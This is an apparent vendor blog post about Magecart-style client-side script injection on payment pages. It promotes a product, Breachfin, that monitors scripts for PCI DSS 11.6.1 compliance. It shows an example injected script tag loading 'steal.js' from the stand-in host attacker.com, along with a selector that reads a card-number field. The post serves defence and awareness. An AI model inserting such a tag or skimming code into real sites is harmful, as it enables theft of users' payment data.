One Line Is All It Takes
When we think of breaches, we imagine massive payloads or complex exploits. But in the client-side world, it often comes down to one dangerous line:
<script src="https://attacker.com/steal.js"></script>
That’s it.
A single injected <script> tag can:
- Skim payment forms
- Hijack sessions
- Bypass CSP
- Exfiltrate data silently
And worst of all — it often looks like any other third-party tag.
Real-World Example: Magecart
Magecart attackers commonly:
- Gain access to a third-party marketing script
- Add malicious behavior like
document.querySelector('input[type="cardnumber"]').value - Deploy it on thousands of sites via CDN
The injected script runs in the browser, outside the control of your WAF, SIEM, or server logs.
PCI DSS 11.6.1 Requires Detection
According to PCI DSS 11.6.1:
“You must monitor and alert on unauthorized script changes on payment pages.”
If you’re not auditing your <script> tags in production, you’re non-compliant — and at risk.
How Breachfin Helps
Breachfin:
- Crawls live payment pages
- Hashes every script
- Flags new or unexpected additions
- Sends real-time alerts if an injected script is found
Secure code doesn’t matter if the browser runs something else.
Let Breachfin show you what your users actually see.
